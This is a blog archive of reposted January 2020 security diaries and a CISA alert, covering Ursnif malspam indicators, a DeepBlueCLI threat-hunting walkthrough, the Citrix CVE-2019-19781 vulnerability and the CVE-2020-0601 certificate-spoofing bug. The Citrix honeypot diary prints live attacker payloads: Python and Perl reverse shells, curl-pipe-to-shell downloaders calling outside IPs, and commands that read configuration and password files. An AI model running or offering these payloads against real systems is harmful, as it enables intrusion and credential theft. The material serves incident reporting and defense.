Category Archives: Security

German language malspam pushes Ursnif, (Wed, Jan 22nd)

This post was originally published on this site

Introduction

On Tuesday 2020-01-21, a wave of malicious spam (malspam) hit various recipients in Germany.  Messages from this German malspam were email chains associated with infected Windows hosts, and these emails all had password-protected zip archives as attachments.  A closer look revealed this malspam was pushing Ursnif.

Today’s diary reviews this malspam and an Ursnif infection from one of the attachments on Tuesday 2020-01-21.


Shown above:  Flow chart for an infection from this wave of German malspam.

The malspam

See the next three images for examples from this wave of malspam.  Of note, this campaign often used 777 as the password for the attached zip archive.  In this wave of malspam, we saw passwords 111, 333, and 555.  Other passwords were probably used as well in examples we have not yet reviewed.


Shown above:  An example of the malspam from Tuesday 2020-01-21 (1 of 3).


Shown above:  An example of the malspam from Tuesday 2020-01-21 (2 of 3).


Shown above:  An example of the malspam from Tuesday 2020-01-21 (3 of 3).

The attachments

Using the password from the email, you can extract a Microsoft Word document from the password-protected zip archive.  The message in the Word document is in German, and it directs you to enable macros.  All of the Word documents are named info_01_21.doc.  Of note, in recent versions of Microsoft Office, you must disable Protected Mode and bypass some other security features to enable macros and infect a vulnerable Windows host.


Shown above:  Extracting a Word document from one of the password-protected zip archives.


Shown above:  An example of an extracted Word document.

The infection traffic

Infection traffic is typical for Ursnif infections in recent months.  Other examples of Ursnif traffic can be found here, which contains infections from 2019.  Of note, the follow-up malware for this Ursnif infection was another Ursnif variant.


Shown above:  Traffic from an infection filtered in Wireshark.

Forensics on an infected Windows host

The infected windows host contained artifacts commonly seen with these type of Ursnif infections.  See the images below for details.


Shown above:  Artifacts in seen the C:WindowsTemp directory after enabling macros.


Shown above:  Follow-up malware found on the infected Windows host.


Shown above:  Update to the Windows registry caused by Ursnif to keep it persistent on the infected host.

Indicators of Compromise (IoCs)

Infection traffic from the initial Ursnif infection:

  • 80.85.157[.]246 port 80 – emblareppy[.]com GET /gunshu/lewasy.php?l=ambobi9.cab
  • port 80 – settings-win.data.microsoft[.]com – GET /images/[long string].avi
  • 80.85.153[.]218 port 80 – pzhmnbarguerite4819[.]com – GET /images/[long string].avi
  • 95.169.181[.]33 port 80 – n60peablo[.]com – GET /images/[long string].avi
  • port 443 – settings-win.data.microsoft[.]com – HTTPS traffic
  • 45.141.103[.]204 port 443 – nk47yicbnnsi[.]com – HTTPS traffic

Request for the follow-up malware:

  • 104.193.252[.]157 port 80 – 104.193.252[.]157 – GET /fonelsid.rar

Infection traffic caused by the follow-up malware (another Ursnif variant):

  • port 80 – google[.]com – GET /
  • port 80 – www.google[.]com – GET /
  • DNS queries for onionpie[.]at – no response from the server
  • DNS queries for tahhir[.]at – no response from the server
  • 80.249.145[.]116 port 80 – limpopo[.]at – GET /images/[long string]
  • 109.175[.]7.8 port 80 – estate-advice[.]at – GET /images/[long string]
  • 5.56.73[.]146 port 80 – sweetlights[.]at – GET /g32.bin
  • 5.56.73[.]146 port 80 – sweetlights[.]at – GET /g64.bin
  • 5.56.73[.]146 port 80 – estate-advice[.]at – POST /images/[long string]
  • 185.95.185[.]58 port 80 – estate-advice[.]at – GET /images/[long string]
  • 80.249.145[.]116 port 80 – limpopo[.]at – POST /images/[long string]
  • 51.223.47[.]15 port 80 – estate-advice[.]at – POST /images/[long string]

Malware info:

SHA256 hash: 957573dc5e13516da0d01f274ab28a141dddc8b6609fa35fde64a4900cb793e6

  • File size: 127,243 bytes
  • File name: info_12_21.doc
  • File description: Word doc with macro for Ursnif

SHA256 hash: 05ec03276cdbb36fdd8433beca53b6c4a87fa827a542c5d512dcbb2cf93023c9

  • File size: 3,651 bytes
  • File location: C:WindowsTempaxsUG8.xsl
  • File description: XSL file dropped by Word macro

SHA256 hash: c7f801c491d705cd5e6a202c7c5084874235e19b5505d8e0201111cb3789a9c8

  • File size: 265,216 bytes
  • File location: hxxp://emblareppy[.]com/gunshu/lewasy.php?l=ambobi9.cab
  • File location: C:WindowsTempaaNuLh.dll
  • File description: Ursnif DLL file retrieved using XSL file
  • DLL note: “C:WindowsSystem32rundll32.exe” c:WindowsTempaaNuLh.dll,DllRegisterServer

SHA256 hash: df824e3e5bb15c7b74d5e8a021f3cbcd867100a02399b9c383488c660ae920b4

  • File size: 873,472 bytes
  • File location: hxxp://104.193.252[.]157/fonelsid.rar
  • File location: C:Users[username]AppDataLocalTemp[random digits].exe
  • File description: Follow-up malware, another Ursnif variant
  • File location note: binary returned from fonelsid.rar URL was encoded/encrypted as it was sent over the network

Final words

A pcap of the infection traffic, the associated malware and artifacts, and some malspam examples can be found here.

Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

DeepBlueCLI: Powershell Threat Hunting, (Tue, Jan 21st)

This post was originally published on this site

Happy New Year! Those among you who participated in the SANS Holiday Hack Challenge, also known as Kringlecon 2, this holiday season may have found themselves exposed to new tools or the opportunity to utilize one or two that had not hit your radar prior. Such was the case for me with DeepBlueCLI, a PowerShell module for threat hunting via Windows Event Logs.

While others such as EQL and stoQ (an automation framework that helps to simplify the mundane and repetitive tasks an analyst is required to do) come to light, I also reveled in a chance to use RITA for Zeek logs analysis. I covered RITA in 2015 for toolsmith #111, and have really enjoyed its evolution. I found the answer to the related Kringlecon challenge with the current iteration of RITA in two steps. Alas, this is an opportunity to highlight the benefits of yet another cool SANS-related offering in DeepBlueCLI. While the wild man and SANS veteran we all know and love as John Strand is party to RITA, the cool and collected Eric Conrad and the SANS Blue Team bring us DeepBlueCLI.
DeepBlueCLI, in concert with Sysmon, enables fast discovery of specific events detected in Windows Security, System, Application, PowerShell, and Sysmon logs. And I do mean fast, DeepBlueCLI is quick against saved or archived EVTX files. It does take a bit more time to query the running event log service, but no less effective.
You can expect specific command-line logs to be processed including process creation via Windows Security Event ID 4688, as well as Windows PowerShell Event IDs 4103 and 4104, and Sysmon Event ID 1, amonst others. Be sure to read all the GitHub documentation but note the following detection categories, with multiple detections per:

  • Suspicious account behaviors
  • Command line/Sysmon/PowerShell auditing
  • Service auditing
  • Mimikatz
  • EMET & Applocker Blocks

I’ll run through a number of the examples via the sample EVTX files provided via the project download and share with you a variety of results. We’ll also crank out some output options based on said results. Note: Run PowerShell as admin for best the required effect. Also be sure to review the Set-ExecutionPolicy Readme if you receive a running scripts is disabled on this system error. Also read the project documentation to ensure proper logging configurations for your target systems, this is quite important to ensure effective coverage and positive results.
Let’s begin with a check for Event log manipulation:

.DeepBlue.ps1 .evtxdisablestop-eventlog.evtx

Figure 1: Event log manipulation

Clearly Figure 1 shows a stop and start of the Event Log Service.
Next, the Metasploit native target (security) check:

.DeepBlue.ps1 .evtxmetasploit-psexec-native-target-security.evtx

Figure 2: Metasploit native target (security)

Someone has definitely run Metasploit on this system, per Figure 2. Note that when “cmd.exe connects to Meterpreter’s named pipe, Meterpreter has the opportunity to impersonate that security context.” A Metasploit target (system) check clearly makes sense next:

.DeepBlue.ps1 .evtxmetasploit-psexec-native-target-system.evtx

Figure 3: Metasploit native target (system)

Sure enough, we yield Event IDs 7036 (Service Control Manager) and 7045 (A new service was installed in the system), the commands for which are clearly “Metasploit-style”.
Metasploit PowerShell target (security) and (system) return both the encoded and decoded PowerShell commands where .DeepBlue.ps1 .evtxmetasploit-psexec-powershell-target-security.evtx parses Event ID 4688 (a new process has been created, and not a good one) specifically, and .DeepBlue.ps1 .evtxmetasploit-psexec-powershell-target-system.evtx provides full context for the above mentioned 7036 and 7045 events.
.DeepBlue.ps1 .evtxmimikatz-privesc-hashdump.evtx for Mimikatz lsadump::sam will return findings for Event ID 4673 (a privileged service was called) where Message: Sensititive Privilege Use Exceeds Threshold and Results: Potentially indicative of Mimikatz, multiple sensitive privilege calls have been made are indicated.
The New user creation check for Event IDs 4720 (new user created) and 4732 (user added to local Administrators group), and the Obfusation (encoding) and (string) checks for Event ID 4104 (script block), work precisely as expected, as do the Password guessing (Event ID 4625 – failed logon attempt) and Password spraying checks (Event ID 4648 – a logon was attempted using explicit credentials), per Figure 4.

Figure 4: Password guessing and spray

As a fond PowerSploit user, I appreciate the PowerSploit (security) and (system) checks, again decoding related 4688 events, as does the PSAttack check. For User added to administrator group .DeepBlue.ps1 .evtxnew-user-security.evtx returns the same results as part of New user creation.

Finally, let’s generate a bit of proper output. You can expect CSV, Format list, Format table, GridView, HTML, JSON, and XML as output options, but I’m particularly fond of GridView when you’re in the midst of a down and dirty firefight. .DeepBlue.ps1 .evtxPowershell-Invoke-Obfuscation-encoding-menu.evtx | Out-GridView serves us well as an exemplar, as seen in Figure 5.

Figure 5: GridView output

DeepBlueCLI is DFIR smoke jumper must-have. Eric and team really have built a useful and efficent framework that has been added to my preferred arsenal thanks to Kringlecon.
Obviously, you’ll want to give DeepBlueCLI a good look, as well as the others mentioned in the intro, and above all else, even if only a best effort, give Kringlecon 3 a go next year. It really is a blast, you’ll learn a ton.

Cheers…until next time.

Russ McRee | @holisticinfosec

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

AA20-020A: Critical Vulnerability in Citrix Application Delivery Controller, Gateway, and SD-WAN WANOP

This post was originally published on this site

Original release date: January 20, 2020<br/><h3>Summary</h3><p>On January 19, 2020, Citrix released firmware updates for Citrix Application Delivery Controller (ADC) and Citrix Gateway versions 11.1 and 12.0 to address CVE-2019-19781. Citrix expects to release updates for other vulnerable versions of Citrix ADC, Gateway, and SD-WAN WANOP appliances through January 24, 2020. (See Mitigations for update schedule).<a href=”https://support.citrix.com/article/CTX267027″>[1]</a></p>

<p>A remote, unauthenticated attacker could exploit CVE-2019-19781 to perform arbitrary code execution.<a href=”https://support.citrix.com/article/CTX267027″>[2]</a> This vulnerability has been detected in exploits in the wild.<a href=”https://www.ncsc.gov.uk/news/citrix-alert”>[3]</a></p>

<p>The Cybersecurity and Infrastructure Agency (CISA) strongly recommends that all users and administrators upgrade their vulnerable appliances as soon as possible once the appropriate firmware update becomes available.</p>

<h4>Timeline of Specific Events</h4>

<ul>
<li>December 17, 2019 – Citrix releases Security Bulletin CTX267027 with mitigations steps.</li>
<li>January 8, 2020 – The CERT Coordination Center (CERT/CC) releases Vulnerability Note VU#619785: Citrix Application Delivery Controller and Citrix Gateway Web Server Vulnerability, <a href=”https://www.kb.cert.org/vuls/id/619785/”>[4]</a> and CISA releases a Current Activity entry.<a href=”https://www.us-cert.gov/ncas/current-activity/2020/01/08/citrix-application-delivery-controller-and-citrix-gateway”>[5]</a></li>
<li>January 10, 2020 – The National Security Agency (NSA) releases a Cybersecurity Advisory on CVE-2019-19781.<a href=”https://media.defense.gov/2020/Jan/10/2002233132/-1/-1/0/CSA%20FOR%20CITRIXADCANDCITRIXGATEWAY_20200109.PDF”>[6]</a></li>
<li>January 11, 2020 – Citrix releases blog post on CVE-2019-19781 with timeline for fixes.<a href=”https://www.citrix.com/blogs/2020/01/11/citrix-provides-update-on-citrix-adc-citrix-gateway-vulnerability/”>[7]</a></li>
<li>January 13, 2020 – CISA releases a Current Activity entry describing their utility that enables users and administrators to test whether their Citrix ADC and Citrix Gateway firmware is susceptible to the CVE-2019-19781 vulnerability.<a href=”https://www.us-cert.gov/ncas/current-activity/2020/01/13/cisa-releases-test-citrix-adc-and-gateway-vulnerability”>[8]</a>&nbsp;</li>
<li>January 16, 2020 – Citrix announces that Citrix SD-WAN WANOP appliance is also vulnerable to CVE-2019-19781.</li>
<li>January 19, 2020 – Citrix releases firmware updates for Citrix ADC and Citrix Gateway versions 11.1 and 12.0 and blog post on accelerated schedule for fixes.<a href=”https://www.citrix.com/blogs/2020/01/19/vulnerability-update-first-permanent-fixes-available-timeline-accelerated/”>[9]</a></li>
<li>January 24, 2020 – Citrix expects to release firmware updates for Citrix ADC and Citrix Gateway versions 10.5, 12.1, and 13.0 and Citrix SD-WAN WANOP release 10.2.6 and 11.0.3.</li>
</ul>
<h3>Technical Details</h3><h4>Impact</h4>

<p>On December 17, 2019, Citrix reported vulnerability CVE-2019-19781. A remote, unauthenticated attacker could exploit this vulnerability to perform arbitrary code execution. This vulnerability has been detected in exploits in the wild.</p>

<p>The vulnerability affects the following appliances:</p>

<ul>
<li>Citrix NetScaler ADC and NetScaler Gateway version 10.5 – all supported builds</li>
<li>Citrix ADC and NetScaler Gateway version 11.1 – all supported builds before 11.1.63.15</li>
<li>Citrix ADC and NetScaler Gateway version 12.0 – all supported builds before 12.0.63.13</li>
<li>Citrix ADC and NetScaler Gateway version 12.1 – all supported builds</li>
<li>Citrix ADC and Citrix Gateway version 13.0 – all supported builds</li>
<li>Citrix SD-WAN WANOP firmware and appliance models 4000, 4100, 5000, and 5100 – all supported builds. (Citrix SD-WAN WANOP is vulnerable because it packages Citrix ADC as a load balancer).</li>
</ul>

<h4>Detection Measures</h4>

<p>CISA has released a utility that enables users and administrators to detect whether their Citrix ADC and Citrix Gateway firmware is susceptible to CVE-2019-19781.<a href=”https://www.us-cert.gov/ncas/current-activity/2020/01/13/cisa-releases-test-citrix-adc-and-gateway-vulnerability”>[10] </a>CISA encourages administrators to visit CISA’s <a href=”https://github.com/cisagov/check-cve-2019-19781″>GitHub page</a> to download and run the tool.</p>

<p>See the National Security Agency’s Cybersecurity Advisory on CVE-2020-19781 for other detection measures.<a href=”https://media.defense.gov/2020/Jan/10/2002233132/-1/-1/0/CSA%20FOR%20CITRIXADCANDCITRIXGATEWAY_20200109.PDF”>[11]</a></p>
<h3>Mitigations</h3><p>CISA strongly recommends users and administrators update Citrix ADC, Citrix Gateway, and Citrix SD-WAN WANOP once the appropriate firmware updates become available.</p>

<p>The fixed builds can be downloaded from Citrix Downloads pages for <a href=”https://www.citrix.com/downloads/citrix-adc/”>Citrix ADC</a> and <a href=”https://www.citrix.com/downloads/citrix-gateway/”>Citrix Gateway</a>.</p>

<p>Until the appropriate update is accessible, users and administrators should apply Citrix’s interim mitigation steps for CVE-2019-19781.<a href=”https://support.citrix.com/article/CTX267679″>[12]</a> Verify the successful application of the above mitigations by using the tool in <a href=”https://support.citrix.com/article/CTX269180″>CTX269180 – CVE-2019-19781 – Verification ToolTest</a>.<strong> Note:</strong> these mitigation steps apply to Citrix ADC and SD-WAN WANOP deployments.<a href=”https://support.citrix.com/article/CTX267027″>[13]</a></p>

<p>Refer to table 1 for Citrix’s planned fix schedule.<a href=”https://support.citrix.com/article/CTX267027″>[14]</a></p>

<p><strong>Table 1. Fix schedule for Citrix appliances vulnerable to CVE-2019-19781</strong></p>

<table border=”1″ cellpadding=”1″ cellspacing=”1″ class=”general-table” style=”width: 600px; height: 312px;”>
<thead>
<tr>
<th scope=”col”><strong>Vulnerable Appliance</strong></th>
<th scope=”col”><strong>Firmware Update</strong></th>
<th scope=”col”><strong>Release Date</strong></th>
</tr>
<tr>
<td scope=”col” style=”text-align: left;”>Citrix ADC and Citrix Gateway version 10.5</td>
<td scope=”col” style=”text-align: left;”>Refresh Build 10.5.70.x</td>
<td scope=”col” style=”text-align: left;”>January 24, 2020 (Expected)</td>
</tr>
<tr>
<td scope=”col” style=”text-align: left;”>Citrix ADC and Citrix Gateway version 11.1</td>
<td scope=”col” style=”text-align: left;”>Refresh Build 11.1.63.15</td>
<td scope=”col” style=”text-align: left;”>January 19, 2020</td>
</tr>
<tr>
<td scope=”col” style=”text-align: left;”>Citrix ADC and Citrix Gateway version 12.0</td>
<td scope=”col” style=”text-align: left;”>Refresh Build 12.0.63.13</td>
<td scope=”col” style=”text-align: left;”>January 19, 2020</td>
</tr>
<tr>
<td scope=”col” style=”text-align: left;”>Citrix ADC and Citrix Gateway version 12.1</td>
<td scope=”col” style=”text-align: left;”>Refresh Build 12.1.55.x</td>
<td scope=”col” style=”text-align: left;”>January 24, 2020 (Expected)</td>
</tr>
<tr>
<td scope=”col” style=”text-align: left;”>Citrix ADC and Citrix Gateway version 13.0</td>
<td scope=”col” style=”text-align: left;”>Refresh Build 13.0.47.x</td>
<td scope=”col” style=”text-align: left;”>January 24, 2020 (Expected)</td>
</tr>
<tr>
<td scope=”col” style=”text-align: left;”>Citrix SD-WAN WANOP Release 10.2.6</td>
<td scope=”col” style=”text-align: left;”>Citrix ADC Release 11.1.51.615</td>
<td scope=”col” style=”text-align: left;”>January 24, 2020 (Expected)</td>
</tr>
<tr>
<td scope=”col” style=”text-align: left;”>Citrix SD-WAN WANOP Release 11.0.3</td>
<td scope=”col” style=”text-align: left;”>Citrix ADC Release 11.1.51.615</td>
<td scope=”col” style=”text-align: left;”>January 24, 2020 (Expected)</td>
</tr>
</thead>
</table>

<p>&nbsp;</p>

<p>Administrators should review NSA’s <a href=”https://media.defense.gov/2020/Jan/10/2002233132/-1/-1/0/CSA%20FOR%20CITRIXADCANDCITRIXGATEWAY_20200109.PDF”>Citrix Advisory</a> for other mitigations, such as applying the following defense-in-depth strategy:</p>

<p>“Consider deploying a VPN capability using standardized protocols, preferably ones listed on the National Information Assurance Partnership (NIAP) Product Compliant List (PCL), in front of publicly accessible Citrix ADC and Citrix Gateway appliances to require user authentication for the VPN before being able to reach these appliances. Use of a proprietary SSLVPN/TLSVPN is discouraged.”</p>
<h3>References</h3>
<ul> <li><a href=”https://support.citrix.com/article/CTX267027″>[1] Citrix Security Bulletin CTX267027, Vulnerability in Citrix Application Delivery Controller and Citrix Gateway </a></li> <li><a href=”https://support.citrix.com/article/CTX267027″>[2] Citrix Security Bulletin CTX267027, Vulnerability in Citrix Application Delivery Controller and Citrix Gateway </a></li> <li><a href=”https://www.ncsc.gov.uk/news/citrix-alert”>[3] United Kingdom National Cyber Secrity Centre (NCSC) Alert: Actors exploiting Citrix products vulnerability </a></li> <li><a href=”https://www.kb.cert.org/vuls/id/619785/”>[4] CERT/CC Vulnerability Note VU#619785 </a></li> <li><a href=”https://www.us-cert.gov/ncas/current-activity/2020/01/08/citrix-application-delivery-controller-and-citrix-gateway”>[5] CISA Current Activity: Citrix Application Delivery Controller and Citrix Gateway Vulnerability </a></li> <li><a href=”https://media.defense.gov/2020/Jan/10/2002233132/-1/-1/0/CSA%20FOR%20CITRIXADCANDCITRIXGATEWAY_20200109.PDF”>[6] NSA Cybersecurity Advisory: Mitigate CVE-2019-19781: Critical Vulnerability in Citrix Application Delivery Controller (ADC) and Citrix Gateway </a></li> <li><a href=”https://www.citrix.com/blogs/2020/01/11/citrix-provides-update-on-citrix-adc-citrix-gateway-vulnerability/”>[7] Citrix blog: Citrix provides update on Citrix ADC, Citrix Gateway vulnerability </a></li> <li><a href=”https://www.us-cert.gov/ncas/current-activity/2020/01/13/cisa-releases-test-citrix-adc-and-gateway-vulnerability”>[8] CISA Current Activity: CISA Releases Test for Citrix ADC and Gateway Vulnerability GitHub: CISAgov – check-cve-2019-19781 </a></li> <li><a href=”https://www.citrix.com/blogs/2020/01/19/vulnerability-update-first-permanent-fixes-available-timeline-accelerated/”>[9] Citrix Blog: Vulnerability Update: First permanent fixes available, timeline accelerated </a></li> <li><a href=”https://www.us-cert.gov/ncas/current-activity/2020/01/13/cisa-releases-test-citrix-adc-and-gateway-vulnerability”>[10] CISA Current Activity: CISA Releases Test for Citrix ADC and Gateway Vulnerability GitHub: CISAgov – check-cve-2019-19781 </a></li> <li><a href=”https://media.defense.gov/2020/Jan/10/2002233132/-1/-1/0/CSA%20FOR%20CITRIXADCANDCITRIXGATEWAY_20200109.PDF”>[11] NSA Cybersecurity Advisory: Mitigate CVE-2019-19781: Critical Vulnerability in Citrix Application Delivery Controller (ADC) and Citrix Gateway </a></li> <li><a href=”https://support.citrix.com/article/CTX267679″>[12] Citrix Security Bulletin CTX267679, Mitigation Steps for CVE-2019-19781 </a></li> <li><a href=”https://support.citrix.com/article/CTX267027″>[13] Citrix Security Bulletin CTX267027, Vulnerability in Citrix Application Delivery Controller and Citrix Gateway </a></li> <li><a href=”https://support.citrix.com/article/CTX267027″>[14] Citrix Security Bulletin CTX267027, Vulnerability in Citrix Application Delivery Controller and Citrix Gateway </a></li> </ul> <h3>Revisions</h3>
<ul> <li>January 20, 2020: Initial Version</li> </ul>
<hr />
<div class=”field field–name-body field–type-text-with-summary field–label-hidden field–item”><p class=”privacy-and-terms”>This product is provided subject to this <a href=”https://www.us-cert.gov/privacy/notification”>Notification</a> and this <a href=”https://www.dhs.gov/privacy-policy”>Privacy &amp; Use</a> policy.</p>

</div>

Citrix ADC Exploits Update, (Mon, Jan 20th)

This post was originally published on this site

In today’s diary, I am summarizing the current state of attacks exploiting the Citrix ADC vulnerability (CVE-2019-19781), using data from our SANS ISC honeypots. Our first two posts about this topic are here: [1] [2].

We are looking here at data collected during the first 10 days after the exploit was made public [3]. During this time, we registered more than 550,000 attack attempts to our honeypots. The highest volume was registered on Jan 12, just two days after the first exploit: 290,000 attack attempts, generated by 532 IP addresses located in 42 countries.

Take a look at the source of the attacks on the map below.

As you may have noticed, the vast majority of attacks originate from Russia. Hosts in Russia are responsible for 455,000 attempts or 82% of the total.

Histogram of Attacks by Country

Payload Overview

Regarding the payloads used by the attackers, we observed 141 variants. Given the command issued on the victim’s machine, we could infer that most of them are part of automated attacks to download and execute scripts like:

exec('curl+185[.]178.45.221/ci.sh+|+sh');” or to simple collect data like “print+`cat+/flash/nsconfig/ns.conf`

However, we also noticed reverse connection payloads that often require attacker interaction. In those scenarios, the possibilities for the attacker are huge as they may manually interact with the system, look for interesting data and also ways to pivot to other segments on the victim’s network.

Most of the reverse connections payloads were written in Python, like this one:

/var/python/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("185[.]10.68.25",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

But a few were written in Perl:

perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"195[.]123.238.91:443");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'

We were able to connect to a couple of the endpoints via telnet and netcat. Most of these connections failed. But in some cases, we ended up with a connection and someone typing standard Unix commands like “id”, “ls” and “uname”. The speed suggests that these commands were typed manually. But we were not able to keep up the ruse long enough to get to any interesting commands.

The TOP 10 payloads and its respective count is shown in the table below:

 

Payload

Count

exec(‘curl+http://185[.]178.45.221/ci2.sh|sh+|+tee+/netscaler…

79,063

print+`cat+/flash/nsconfig/ns.conf`

25,173

exec(‘curl+185[.]178.45.221/ci.sh+|+sh’);

16,096

print+`cat+/nsconfig/ns.conf*`

11,586

(curl -fsSL https://pastebin[.]com/raw/2zds3h2T||wget -q -O – https://pastebin.com/raw/2zds3h2T)|bash; id

5,716

exec(‘cat /flash/nsconfig/ns.conf | tee /netscaler/portal/templates/yVStWwCFy9BDXBxjIGvCk3h67Gx4Zm8E.xml’);

4,780

cat /etc/passwd

4,303

/var/python/bin/python -c ‘import urllib;exec(urllib.urlopen(“http://185[.]178.45.221/ci5.sh”).read())’

2,968

exec(‘whoami | tee /netscaler/portal/templates/.xml’);

2,641

(curl -s https://pastebin[.]com/raw/d3SY1erQ||wget -q -O – https://pastebin.com/raw/d3SY1erQ)|bash; cat /etc/passwd

1,337

 

“Patching” Payload

From the list below, the fifth one caught our attention. It is especially interesting because:

  • After downloading and executing its malicious action from a Pastebin address, it applies a patch to “newbm.pl” file – possible to avoid competitors;
  • The Pastebin content pointed by the payload that supposedly contains the malicious action has been removed when we try to check it two days ago.

Thus, depending on when the Pastebin address with the malicious content was removed, this campaign may have just patched vulnerable installations. It’s worthing mentioning that the fix applied by this payload is partial and does not patch all possible vulnerable files.

 

 

            In the figure below it’s possible to see the moment the “patching” payload reached our honeypots.

We will continue to monitor Citrix ADC exploitations and giving you more updates. If you saw something else interesting about this vulnerability, please let us know!

References:

[1] https://isc.sans.edu/forums/diary/Citrix+ADC+Exploits+are+Public+and+Heavily+Used+Attempts+to+Install+Backdoor/25700/
[2] https://isc.sans.edu/forums/diary/Citrix+ADC+Exploits+Overview+of+Observed+Payloads/25704/
[3] https://github.com/projectzeroindia/CVE-2019-19781


Renato Marinho
Morphus Labs| LinkedIn|Twitter

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Summing up CVE-2020-0601, or the Let?s Decrypt vulnerability, (Thu, Jan 16th)

This post was originally published on this site

Last 24 hours have been extremely interesting – this month’s patch Tuesday by Microsoft brought to us 2 very interesting (and critical) vulnerabilities. The first one, the “BlueKeep” like remote code execution vulnerability in Remote Desktop Gateway (CVE-2020-0609, CVE-2020-0610) has been kind of ignored, although it’s really critical … so I guess I’ll continue doing that in this diary (but rest assured that we are keeping an eye on the RDG vulnerability as well).

This diary is about the vulnerability in Windows CryptoAPI, CVE-2020-0601, that everyone has been talking about; we decided to sum up known and tested information so far.

The vulnerability exists in the Windows CryptoAPI component (Crypt32.dll), specifically in the part that is used to validate Elliptic Curve Cryptography (ECC) certificates. Due to a serious bug in code, ECC certificates are not properly verified – there have been several posts about why this fails (i.e. the one here), but the bottom line is that it is trivial to use an existing Certificate Authority (that must be using ECC) to create a spoofed certificate. It took only hours for first proof of concept certificates to be released, and we can confirm now that it is trivial to create such certificates. So, what can an attacker do with this?

While certificates are used for all sorts of things, the two most common ways of abusing the vulnerability are probably through spoofing web certificates and digital signatures for binaries on Windows. Let’s address those.

Spoofing web certificates

In order to spoof a certificate, an attacker will typically want to pick an ECC CA that comes bundled with Windows. There are several such certificates, and in examples below I used Microsoft ECC Product Root Certificate Authority 2018 which comes installed by default (and for bonus, it’s a Microsoft’s CA).

Due to vulnerability being in the way ECC certificates are verified, in the process of creating the spoofed certificate, the attacker takes the public key from the CA and creates a fake CA, where the public key will be the same, but it will use different generator (G) for the curve. Normally, this should be rejected due to the generator not being the original one, but Crypto32.dll fails to do that and, as long as the public key matches the original CA will accept the certificate.

We have generated several such certificates and put a test site that you can use to see if you are vulnerable. The test site is available at https://curveballtest.com/index.html – once you open it, there is a special style sheet loaded from a site using such a fake certificate. If it renders, you will see a message saying that you are vulnerable, as below:

Now, this will by default work only in Internet Explorer and Edge on Windows. Mozilla Firefox does not use Crypt32.dll to verify certificates and does not have the same bug.

Google Chrome does use Crypt32.dll, however it tries to verify every certificate in Certificate Transparency log, which is another safety feature in Chrome. That being said, Google introduced that feature for all certificates issued after May 1, 2018.
Hmmm .. and we’re faking certificates, aren’t we? So, how about we issue a certificate before that date, let’s say 24.3.2018. And voila – it works in Google Chrome out of box as well!
The maximum validity for a certificate that Chrome allows is about 27 months – enough for us
Google was fast addressing this – with the latest release of Chrome, released today (Thursday, 16/1/2020) they added additional checks for Chrome so make sure you update Chrome as well!

Finally, the vulnerability exists only on Windows 10 and Windows Server 2016 and 2019 – other Windows OSes do not support ECC certificates so they are safe.

Once you visit such a site with a vulnerable OS (and IE or Edge), the certificate will be correctly validated, although certificate details in IE will be weird, as you can see below:

  

Edge is actually even worse – there isn’t a single sign of a certificate being spoofed:

Ok, so it is bad, but how bad is it? Remember that while an attacker can spoof a certificate, he/she still has to get the victim to visit the web site. In other words, if we spoof certificate for isc.sans.edu, we must get the victim to connect to the IP address of a malicious server (with the spoofed certificate). This means that a prerequisite for the attack is some kind of Man-in-the-Middle between the legitimate site and the victim, or some kind of DNS poisoning which will make the victim visit the attacker’s server. 

I would say that this decreases a risk a bit – sure, an attacker can use social engineering or phishing techniques, but in such an attack the final domain will be fake anyway (i.e. isc.sans.edu.malicious.com).

Spoofing digital signatures for binaries

Besides web sites, binaries are nowadays commonly signed. Actually, a lot of endpoint security software will skip verifying correctly signed binaries and will blindly trust them. This is what makes this vulnerability more critical: if it’s possible for an attacker to spoof a certificate for a binary pretending to be Microsoft for example, then it might be possible to evade certain defenses.

We have successfully created such binaries and tested on both pre and post-patch machines and the results here were a bit more worrying.

On a non-patched machine, the digital signature shows as perfectly fine, as you can see in figures below:

 

Of course, it will run without any issues, as expected.
With the patch, besides fixing certificate validation, Microsoft also added a new event to Windows Event Log, that will warn when a binary with a fake certificate is executed. This is what the signature and the event log looks like on a patched machine:

However, the bad binary will still be executed on a patched machine, silently, without any warning except the event log above. This is a serious issue since the patch will not prevent such a maliciously signed binary from working, it will just create a log. Endpoint protection software should, hopefully, in this case correctly detect and block such an attempt.

Finally, if you just want to test for detection and create a fake Event Log as the one above, our handler Didier Stevens created a simple VBA program that will generate such an event.
The code is available on his blog, at https://blog.didierstevens.com/2020/01/15/using-cveeventwrite-from-vba-cve-2020-0601/

I liked the idea so I recreated it in Powershell (hey, it’s Posh), you can find equivalent PSH code below:

$MemberDefinition = '[DllImport("advapi32.dll", CharSet = CharSet.Unicode)] public static extern long CveEventWrite(string CveId, string AdditionalDetails);'
$Advapi32 = Add-Type -MemberDefinition $MemberDefinition -Name 'Advapi32' -Namespace 'Win32' -PassThru
[Win32.Advapi32]::CveEventWrite("[CVE-2020-0601] cert validation", "CA: SANS ISC, sha1: d4d0713782626a7320e77967f1578b386257de1f")

If you want to test with a real binary, Didier created a simple program that does nothing really except showing a window which we then signed with a fake certificate.
You can download it from here: https://curveballtest.com/SANSISC_signed.exe – once you start it, there should be an event created in Windows Event log (Application). Additionally, on a patched machine, when you start it as administrator, you should see a message about an incorrect signature.

To sum it up: it’s not the end of the world, but the vulnerability is serious: you should patch affected systems as soon as possible. Keep in mind that any other software that uses Crypt32.dll to verify ECC certificates is vulnerable, so it’s best that patching is not delayed.

We will be updating the diary as we get more information – of course, if you have something to share with us, let us know!


Bojan
@bojanz
INFIGO IS

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Picks of 2019 malware – the large, the small and the one full of null bytes, (Thu, Jan 16th)

This post was originally published on this site

